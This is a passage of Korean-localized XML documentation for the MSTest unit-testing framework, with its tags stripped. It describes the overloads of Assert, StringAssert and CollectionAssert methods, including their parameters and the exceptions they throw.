문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스가 아닌 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스가 아닌 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스인 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스인 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - AssertFailedException을 throw합니다. - - - Always thrown. - - - - - AssertFailedException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Always thrown. - - - - - AssertFailedException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Always thrown. - - - - - 참조 같음에 대해 두 형식의 인스턴스를 비교하는 데 정적 equals 오버로드가 - 사용됩니다. 이 메서드는 같음에 대해 두 인스턴스를 비교하는 데 사용되지 않습니다. - 이 개체는 항상 Assert.Fail과 함께 throw됩니다. 단위 테스트에서 - Assert.AreEqual 및 관련 오버로드를 사용하세요. - - 개체 A - 개체 B - 항상 False. - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 AssertFailedException을 throw합니다. - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 AssertFailedException을 throw합니다. - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우: . - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - Null 문자('\0')를 "\\0"으로 바꿉니다. - - - 검색할 문자열. - - - Null 문자가 "\\0"으로 교체된 변환된 문자열. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException을 만들고 throw하는 도우미 함수 - - - 예외를 throw하는 어설션의 이름 - - - 어설션 실패에 대한 조건을 설명하는 메시지 - - - 매개 변수. - - - - - 유효한 조건의 매개 변수를 확인합니다. - - - 매개 변수. - - - 어셜선 이름. - - - 매개 변수 이름 - - - 잘못된 매개 변수 예외에 대한 메시지 - - - 매개 변수. - - - - - 개체를 문자열로 안전하게 변환하고, Null 값 및 Null 문자를 처리합니다. - Null 값은 "(null)"로 변환됩니다. Null 문자는 "\\0"으로 변환됩니다. - - - 문자열로 변환될 개체. - - - 변환된 문자열. - - - - - 문자열 어셜션입니다. - - - - - CollectionAssert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - Thrown if is not found in - . - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not found in - . - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not found in - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 시작되지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 시작되지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - Thrown if does not end with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 끝나지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if does not end with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 끝나지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not end with - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하지 않는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하지 않는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - Thrown if matches . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하는 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if matches . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하는 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if matches . - - - - - 단위 테스트 내에서 컬렉션과 연결된 다양한 조건을 테스트하기 - 위한 도우미 클래스의 컬렉션. 테스트 중인 조건이 충족되지 않으면 - 예외가 throw됩니다. - - - - - CollectionAssert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - Thrown if is found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 포함된 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if is found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 포함된 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is found in - . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null 요소를 포함하는 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null 요소를 포함하는 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - Thrown if a two or more equal elements are found in - . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 하나 이상의 중복 요소를 포함하는 경우. 메시지는 테스트 결과에 - 표시됩니다. - - - Thrown if a two or more equal elements are found in - . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 하나 이상의 중복 요소를 포함하는 경우. 메시지는 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if a two or more equal elements are found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - - 의 요소가 다음에서 발견되지 않는 경우 예외에 포함할 메시지입니다.. - 테스트 결과에 메시지가 표시됩니다. - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - - 의 모든 요소가 다음에서 발견되지 않는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - Thrown if every element in is also found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - - 의 모든 요소가 다음에서도 발견되는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - Thrown if every element in is also found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - - 의 모든 요소가 다음에서도 발견되는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if every element in is also found in - . - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 요소가 컬렉션 중 하나에서는 발견되었지만 다른 곳에서는 발견되지 - 않은 경우 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 요소가 컬렉션 중 하나에서는 발견되었지만 다른 곳에서는 발견되지 - 않은 경우 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 요소를 포함하는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 요소를 포함하는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - - 의 요소가 다음의 인스턴스가 아닌 경우 예외에 포함할 메시지: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - - 의 요소가 다음의 인스턴스가 아닌 경우 예외에 포함할 메시지: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 